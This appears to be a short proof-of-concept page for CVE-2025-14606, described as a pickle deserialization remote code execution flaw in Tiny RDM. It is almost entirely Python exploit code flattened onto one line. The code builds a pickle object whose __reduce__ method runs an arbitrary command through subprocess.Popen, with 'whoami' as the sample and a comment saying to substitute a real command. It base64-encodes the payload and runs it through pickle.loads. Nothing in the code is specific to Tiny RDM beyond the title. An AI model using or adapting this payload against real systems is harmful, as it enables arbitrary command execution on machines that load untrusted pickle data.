CVE-2025-14606 Tiny RDM pickle反序列化远程代码执行漏洞

import pickle import base64 import subprocess class Exploit: def __reduce__(self): # Replace with your actual command to execute cmd = 'whoami' # Example: just get current user return (subprocess.Popen, (cmd.split(),)) def generate_malicious_pickle(): """ Generate malicious pickle payload for CVE-2025-14606 This PoC demonstrates how attacker can achieve RCE through pickle deserialization """ exploit = Exploit() # Serialize the malicious object malicious_data = pickle.dumps(exploit) # Encode to base64 for easier transmission encoded_payload = base64.b64encode(malicious_data).decode('utf-8') print(f"Malicious pickle payload (base64):\n{encoded_payload}") print(f"\nRaw payload length: {len(malicious_data)} bytes") return malicious_data def test_exploit(): """ Test the exploit locally (for educational purposes only) """ payload = generate_malicious_pickle() # This is what vulnerable code would do - unpickle the malicious data # DO NOT run this on untrusted data in production! try: # Simulating vulnerable pickle.loads() call print("\n[!] Simulating vulnerable pickle.loads() call...") obj = pickle.loads(payload) print(f"[+] Object deserialized: {obj}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": test_exploit()